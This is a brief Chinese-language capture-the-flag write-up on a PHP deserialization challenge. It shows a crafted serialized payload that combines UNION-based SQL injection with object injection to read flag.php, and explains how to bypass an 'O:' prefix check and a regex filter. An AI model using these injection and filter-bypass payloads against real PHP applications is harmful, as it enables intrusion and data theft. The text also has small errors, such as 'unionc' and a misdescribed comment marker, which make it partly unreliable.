PHP反序列化漏洞 附题目

题目一共三个文件:
https://pan.baidu.com/s/1OfYZEZ7qWcv2I9OwlcU6_A
反序列化漏洞的详细说明可在这篇博客上了解到,讲解还是比较详细的:
https://blog.csdn.net/qq_19876131/article/details/52890854
【PHP反序列化漏洞 附题目】本题目主要就是利用HITCONSoFun两个类中的__wakeup函数,我们可以控制HITCON对象的$method$args变量,来进行SQL注入,注入语句如下:

1' and 1=2 unionc select 1,2 ','a:1:{i:0; O:5:"SoFun":2:{s:4:"file"; s:8:"flag.php"; }}'--

注意后面的SQL注释符号是两个下划线和一个空格
因为我们要绕过substr($data, 0, 2) !== 'O:',所以就不能单纯地序列化一个对象,而是把对象包裹在数组中来绕过这个过滤条件,构造的时候是这样的:
$a = array(new SoFun())

这样序列化之后最前面的字符串就变成了a:,然后再考虑如何绕过正则表达式,因为题目中只是过滤了O:\d:模式串,我们只要破坏\d就行了,PHP的反序列化函数unserialize的参数中的数字是可以有+号的,所以我们在构造完payload之后,在SoFun的序列化字符串中把5前面加上经过url编码之后的+也就是%2B即可,不要忘了把HITCON对象序列化字符串中表示参数长度的s的值加1,然后我们就能顺利得到flag了。
payload如下:
O:6:"HITCON":4:{s:6:"method"; s:5:"login"; s:4:"args"; a:2:{i:0; s:86:"1' and 1=2 union select 1,2,'a:1:{i:0; O:%2B5:"SoFun":2:{s:4:"file"; s:8:"flag.php"; }}'-- "; i:1; s:1:" "; }s:4:"conn"; i:0; }

    推荐阅读